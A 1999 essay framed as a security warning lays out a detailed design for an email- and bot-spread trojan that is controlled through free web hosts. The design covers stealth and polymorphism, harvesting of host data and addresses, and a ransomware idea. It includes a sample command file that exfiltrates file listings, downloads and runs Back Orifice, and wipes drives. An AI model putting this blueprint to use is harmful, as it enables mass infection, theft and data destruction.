roelof@cube.co.za

You may replicate this document at will - but please do not butcher it - copy the *whole* document, and give me credit. I would also appreciate it if you let me know where you publish it - just to keep track of it.

Regards,
Roelof Temmingh
South Africa.
99/07/29Index:
======
Part I: Background
Part II: Overview
Part III: Detail design
Part IV: QWRNA (Questions We Rather Not Ask)

Part I: Introduction to your worst nightmare
===================================

"I guess it was bound to happen someday - please spread the word". This message was posted to a computer mailing list by Gene Spafford on 03 November 1988 - back in the days when the Internet, still in its infancy, was a tool for academics and a toy for geeks. Spafford is referring to an Internet-born computer worm (a type of self-sustained virus) that eventually managed to effect more then 10% of the 60,000 hosts then connected to the Internet. Despite the fact most of the world hadn't heard of the Internet or email before, and the fact that the Dukakis-Bush election was just days way, the incident made it to the front page of most major newspapers. This was not because the worm was particularly viscous - it was actually quite benign - but because people recognized the potential for large-scale damage the worm represented. Were it not for a small programming error in the worm's code it may never even have been discovered. Ten years ago the "Morris Worm" shocked the world into realizing the fragility of Internet. Today, very little has changed. Despite ten years of new knowledge and experience the Internet today is as least as vulnerable to Morris-type attacks as it was ten years ago. In fact, even more so. Consider the following:

1. Ten years ago the Morris worm used weaknesses common to a number of different UNIX systems to take control of the computers and propagate itself. Today the same operating system is installed on 90% of all desktop computers. A single program could attack all these machines.

2. Ten years ago the Internet belonged to an elite group of specialists and professionals. They understood their computers intimately and managed them closely. Today every home has a computer and a connection to the Internet. The average computer user can't tell "email" from "mpeg".

3. Ten years ago the Internet was used primarily by scientists, researchers and academics. Today it is a major business conduit. Billions of dollars are moved over the Internet daily in various forms and most companies would simply not be able to ANY business without their IT computer systems.

The widespread use of firewalls on computer systems does little to alleviate the risk. The threat here is not an attack from some hacker on the Internet, but a program run unwittingly on a computer already inside the protected network. The sections that follow show exactly just how feasible such a program is. While reading you will note the following frightening truths:

- Just how relatively easy such a program is to write. Similar programs already exist and are widely known.

- Just how easy such a program is to spread. The Internet is the perfect mass distribution system and its strength is also its weakness.

- Just how easy such a program is to hide. The average user doesn't understand half the processes running on the system legitimately, let alone a program doing its utmost to conceal itself.

- Just how hard such a program is to stop. The program can spread at the speed of light, take any form, hide itself and mutate with every new installation. Immeasurable damage could be done before it is eventually stopped.

- Just how ugly such a program could be. This kind of software could bring entire sectors of industry to their knees. A well-planned infection with malicious intent would make the Morris Virus of '88 look like a mild case of the flu.

So what can be done to prevent this from happening? Not too much I'm afraid. Like the citizens of a volcanic island we need to be aware, stay alert and hope we spot the eruption early enough to prevent a disaster. Here are some precautions a company can take:

1. Policy. The use of any unauthorized software should be prohibited.

2. User education, user education, user education. Make your users aware of the dangers of running software from untrusted sources.

3. Audits. Perform regular checks to see what's installed and running on your PCs.

4. Operating systems. A strong operating system with proper multi-user support can minimize the damage done by a worm. Install Microsoft NT rather then Windows 95 or 98. Consider using other operating systems, like Line or BSD.

5. Diversity. By mixing a number of operating systems one can minimize the amount of damage a virus or worm could do. This, however, introduces added complexity in the management of the all the different systems. Your call...

6. Network security. Firewalls, file encryption, operating system security, etc. all make it more difficult for the would be worm. In particular virus scanners and HTML, FTP and SMTP content scanners help us weed out these kinds of threats. Consider stripping executable attachments and other active content completely.

7. Host-based IDS. Intrusion detection systems may detect attacks either on the network or the computers themselves.

8. Assume the worst. Plan for disasters with disaster recovery sites, backups, and business continuity plans. Test and practice with these systems.

As you read the description that follows, imagine the consequences of the release of such an animal and ask yourself how long it will be before we are again saying to ourselves "I guess it was bound to happen someday..."

Part II: The bare bone basics
==========================
This is the part of the document that will try to give a very basic understanding of the Trojan/virus. It is *suppose* to raise questions - these questions will be dealt with in the third section. It will only give the reader an idea of the dynamics of the virus. It the "press release" part of it.

The Package
----------
The package is a single executable. The executable contains two parts, a normal functional program, and the Active Ingredient (AI). The normal program can be anything, but should be of interest for the Internet community. Examples could include: screensavers. auto playing AVI,MPEGs, flash movies, anti virus software, a new hacking tool or even an anti virus solution.

The type of package could be customized to suit the way of transportation.

Initial infection
---------------
The package will be distributed on the Internet. This is done by "robots". These "robots" will upload the infected package to FTP servers, mass mail the package to users, repackage existing software to contain the AI, and DCC the package at random to users connected to IRC servers. The 'net should be flooded by infected programs, all different in size and apparent functionality.

Conventional virus spreading methods can also be used. Initial infection could last in the order of 2 months.

Upon first execution on client machine ---------------------------------
A user will obtain the package, and execute it.

- Settle in.
AI will rename itself to a non-suspect filename. The AI will take the necessary precautions to ensure that it will be executed every time the host is restarted.

- Registration on server
AI should wait until it detects the possibility to connect to a server on the Internet. When this happens, the AI should contact a predefined web server(s), uploading information to this site. It will save a file on this site containing detailed information of the host. Each AI will save the file with a unique name / serial number.

Day to day activity of AI
---------------------
The AI will monitor activity, and if it detects traffic to the WWW, it will periodically check for instructions, posted on the predefined web server. These commands will be downloaded from the WWW, and executed on the host. The commands are to be found in a file that match the serial number that the AI registered in the initial contact. The AI will execute all commands found in the command file. If the AI cannot find the command file, it will fall back to a general command file. If it cannot find this file it will proceed with preprogrammed instructions.

Spreading further
--------------
Every host that is infected "reports" to one of the predefined servers. It will update a counter file. Every host that is infected with the initial spread will increment a number stored in the "infection count" file. When this file reach a critical mass, all AIs will begin secondary infection procedure:

The AI will extract all email addresses contained within the address book of popular mailers (Outlook, Netscape, Eudora). The AI will start sending email with attachments to addresses harvested from the mailers. The attachment will be the package. The rate at which the AI will send mail can be controlled via command files.

Part III: Inner workings
========================
This section will try to explain consideration that should be taken, technical specifications etc. It is aimed at people who understand the underlying technology. It is mainly aimed at programmers that know their stuff.

Initial infection
-----------------
- Repackage bots
Robots that will download executables from frequently visited sites (Tucows etc.), and repackage it to contain the package. These bots could be instructed to visit certain sites more frequent than others and to target certain files. These bots should have the ability the decompress distributions, repackage, and compress it as well.

- DCCsend bot
Robots on multiple IRC channels that will at random DCC the package to clients that are detected running the de facto standard Windows client (Mirc). Robots could be written with intelligence to con users to accept the DCC. Bots could be situated in "Warez" channels, spreading the repackaged commercial software.

- FTP put bot
Robots that will search the Internet for FTP servers with writable /pub and /incoming directories, and drop the package in those directories.

- Mail bot
These bots will be not unlike the mass mailer programs, mailing the package to many individuals, posing as representatives from various organizations such as Hotmail, Geocities etc, with package as free "gift". This "gift" can be something like a new screensaver or HTML writer.

Note that all transport mechanism implies that the receiver is connected to the Internet on some way or another.

The AI itself can be coded in different forms, so that there will be hundreds of different code signatures - this will make it difficult for anti virus vendors to develop a program that will search for code signatures.

First contact
-------------
When the user downloaded the package, he/she will execute it. The package will run the normal program, and the AI will also execute. The AI will install itself within the system, in such a way that it will always execute at startup. It will also disguise itself, by renaming itself to a non-suspect filename. This name will contain random letters, and should not be longer than 6 letters. At every restart, it will rename itself again (and modify the startup correctly). It could also modify the startup method -e.g. modifying the registry, or the win.ini.

The AI must be able to detect itself. This will ensure that the AI will not be installed every time the package is executed. This can be done by "marking" the host - it will not reveal where the AI is located, just that it has been infected. This "marking" will furthermore hamper the detection process later on, as this mark has to be removed before the host can be re-infected for lab purposes.

The AI will proceed to determine if it is situated in an online environment (it can open a session to a machine on the Internet). If direct connection is not possible, it will determine if a proxy is present (registry), and use the proxy to connect to the Internet. Ideally, the AI will monitor network traffic with destination port 80, and determine the best path out - be that direct, or via a proxy. As this could involve installing a custom packet driver, the AI could monitor CPU load across different applications, and register an online situation when a browser (IE or Netscape) uses CPU load.

The AI will only try to make a connection if it can safely determine that there is an already open connection to the 'net.

The AI will contain a list of web servers that will be ready to accept the registration. For every AI, this list will contain random preferences. The AI will try to contact the web server with higher preference and send a report to the web server. The AI will send the report in the same way that browsers upload files to web servers. This list could typical contain up to 75 different locations.

The initial report that the AI will send to the web server should contain:
-Self generated serial number
-DNS name / IP
-Firewalled Y/N
-Proxies
-DHCP Y/N
-Interface information (type, speed etc)
-Platform (e.g. CPU, memory)
-Browser support (Netscape / IE)
-Mail support (Outlook, Eudora etc)
-Registered programs
-Real name
-Username
-Email address

Most of this information can be extracted from the registry. The AI will save this report in a file with the same name as the self generated serial number.

The AI will try to download a file called "counter". This file will contain a number. It will increment this number, and upload the file, with the same filename. This file is thus a counter of the number of infected hosts that could reach the server(s). A "counter.lock" file can be used to ensure that two hosts do not access the file at the same time. A host that encounters a lock file will wait for a predefined period of time, and retry.

It is *very* important that the virus is not discovered during the initial infection stage. Care should be take that the AI should under no circumstances reveal itself. It should rather end its life than reveal itself.

Using different spreading mechanism, and different "host programs" should ensure that the AI could still reproduce. The packages will still contain the AI, and infection can spread along with it.

The web servers
-------------
These are the web servers where the AIs will register, and receive commands from. The web servers should all be public accessible web servers, where free webspace can be obtained - e.g. Geocities, Iname, Yahoo, to name a few. Multiple accounts should be registered on every server.

Commands "dropped" for the AIs should be replicated between the servers. This means that all commands should be present on all servers, so that a certain AI can pick up commands from different servers (in the case that one server might be down, blocked, or administratively taken down).

Replicating the data can be easily automated if the web server accepts FTP connections. If the sever does not, a PERL script can be build to interrogate web interfaces. As it is envisaged that this virus will be controlled by a group of people, a CRC checksum of all command files could be stored on the web server. Replication will only happen when CRC checksums between web servers does not match.

To hamper detection, fake web servers can be included in the list. The AI will know that these sites does not contain a "drop zone", and will not attempt to retrieve commands or drop reports to it. The only purpose of these fake sites will be to cause confusion to anti virus vendors once the AI is detected.

More information on the format and distribution of "dropped" commands will follow.

Day to day activity of the AI
-----------------------------
When the AI detects that it can open a pipe to its web server of choice (as explained in the "First Contact" section), it will try to download a file called ".cmd.". Failing this, it will try to download a file named "general.cmd.". The first file is a file containing specific commands for the AI. The AI will internally keep count of command files that was received and executed and will only act on command files with counters larger than its saved counter. The second file is a file that is used for sending commands to be executed by all AIs. It is envisaged that this will be the default action, unless the controller have something specific in mind for a particular host.

Both these files contain commands for the AI(s). After downloading the command file, the AI will execute the commands. If the AI acts on general commands it will increment a counter within a file called "". By doing this, the controller can see how many AIs have already executed the general command. Access to the command counter file can also be regulated by a lock file.

An instruction set could contain the following commands:

-remove()
Remove the AI from memory, hard drives and IP stack.

- mass_destruct()
Erase all data, and reboot.

- sync (time)
Will command AI to periodical fetch new command file every "time" minute. The AI will still only contact the server when it can do so safely.

- batch begin, batch end
All commands between batch begin and batch end will be executed as a batch job. Commands between "begin" and "end" should be chosen to redirect its output to files - see the example.

-download (filename, local name)
Downloads from web server, and save it as on the host's hard drive.

- upload (local file,remote file)
Uploads to web server, saving it as on the server.

-update (local file)
The AI will download and update itself. This could be useful when anti virus vendors start to realize the threat.

-spread (count, rate)
See section on secondary infection.

-default begin (count), default end.
Commands between default begin and default end will be executed if the AI cannot connect to servers in succession. (it will still only try to reach these servers when it detects that it is in an online environment)

The command set can obviously be expanded to include typical BO commands. An example of an AI command file could be:

default begin 4
c;mass_destruct
default end
sync 15
batch begin
dir c:\*.doc /s > c:\dirall.docs
upload c:\dirall.docs 16643dhas13.all_docs
del c:\dirall.docs
download bo.exe c:\winnt\system32\taskbar.exe
c:\winnt\system32\taskbar.exe
batch end
spread 25000,5
END

In this example the AI will erase all data on all drives when contact are lost with its top 4 servers. It will try to download command files every 15 minutes. It will upload a file called 16643dhas13.all_docs containing a listing of all .DOC files on the C: drive. It will download and install Back Orifice. The "spread" command will be discussed in the next section.

Note the "END" at the end of the command file. If the AI cannot find "END" at the end of the command file, it must regards the command file as incomplete, and not execute any commands.

With minimal effort, command file and reports can be encrypted. Encrypting the data should make it much more difficult to determine the mechanics of this virus. It will also help to ensure that anti virus vendors cannot send commands to the web servers to automatically erase the AI - such as "remove()".

Combining encryption with the "default begin default end" command makes for a powerful concept. If the host is left on the 'net, it can be remotely controlled. If the sites that the AI is visiting is taken down, the host goes down with the AI. Anti virus vendors, security exports cannot talk to the AI, because communication is encrypted. The only way to be totaly safe is to disconnect the host permanently from the Internet.

Secondary infection
-------------------
Every AI that registers will increment the "counter" file. The "spread" command act on the number contained in the "counter" file. If the counter exceeds , secondary infection procedures are executed at rate :

The AI will "farm" email addresses from known mail clients - e.g. Outlook, Eudora and Netscape mail. It will extract mailer information (SMTP gateway, local email address owner etc.) from the registry, or directly from the mail client. The AI will disregard email addresses that is within the same domain as the host (that is - it will never send email to bob@bobby.com, if the local domain is bobby.com). This is to minimize the chance that the virus will be discovered by inter-human contact.

The AI will start sending out packages (see Part II) to number of persons per day. Each message sent out will contain different subject lines - e.g. "check this out", "have a look", "for your information" etc. If the host contains less than email addresses, it will send it to the maximum number of recipients, given that they are not within the same domain. Note that via the command file, the rate of infection can be controlled.

Let's assume that we have an initial install base of 10000 (which is pretty conservative). If we send a spread index of 7 the virus/Trojan will spread like this (assuming that the receiver is not yet infected):

1st iteration: 70,000
2nd iteration: 490,000
3rd iteration: 3,430,000
4th iteration: 24,010,000

If we assume that only 75% of receivers will have an OS that is susceptible for this virus/Trojan, and that only 50% of those will execute the attachment we are still looking at:

1st iteration: 26,250
2nd iteration: 68,906
3rd iteration: 180,878
4th iteration: 475,807

at which time it will become difficult for the web servers to keep up. Keep in mind that the 4th iteration can be reached within hours, where after a mass_destruct() signal could possibly be issued.

Part IV: Now think about this...
==============================
Ask yourselves these questions:

-Can this really be done? The answer is yes. Yes yes yes. It has been done to a much smaller extent. Think of Melissa, think of the '88 worm. All of them were minor threats in comparison with this.

-Why is this then different from what we have seen before?
The major difference here is that this Trojan/virus will initiate communication. This means it can bypass firewalls, as firewalls are generally build to block incoming traffic, while allowing (some) outgoing traffic. This Trojan/virus will also have the ability to communicate with its controller (and even inter-virus communication is possible). The virus/Trojan is basically a streamlined, neatly packaged combination of all the bad things that are floating around the 'net today.

-how much "smarter" can this thing be made?
Much smarter. I am not the brightest person on earth, and I can come up with something like this. There are many of us out there, smarter, and brighter...and with the resources to create this monster.

-what would be the implications of this?
It could mean that the Internet would change, to such an extent that it will no longer be possible for companies to use it as a commercial tool. Back to the old days of vast open, purely academic networks.

-Is the IT security world ready to handle such an onslaught?
Not really. When this Trojan/virus reaches secondary infection phase, it can spread to millions of hosts within hours, and disconnection of hosts could lead to disaster. Remember that the rate at which the anti virus could spread is just as fast, or slower than that of the virus.

-what would happen if this were wired into an existing stable reputable product?
I rather not think of it...

-How do we know that there is not something like this out there?
We don't. Isn't it strange that our friends at cDc and L0pht haven't released something like this? Or have they? Hmmm?

-why have you written this?
I think that a monster the likes of this is about to be released. It will be only a question of time before a thing like this will happen. The only thing keeping it from happening is that the people with skills to write such an application is not willing to do so, since they, as experts, know the implications.

Taking it one step further (the really nasty angle)
===========================================
Now lets see...what would happen if the AI was to encrypt *.DOC *.CPP, *.C files and store the keys on the web servers (encrypted under a masterkey)? I can see it now - "buy your code & documents back at our special discount price"...

Last words & thanks
====================
And you thought all we do in South Africa is dodge the elephants... My sincere thanks goes out to Charl for his ideas and for writing part I.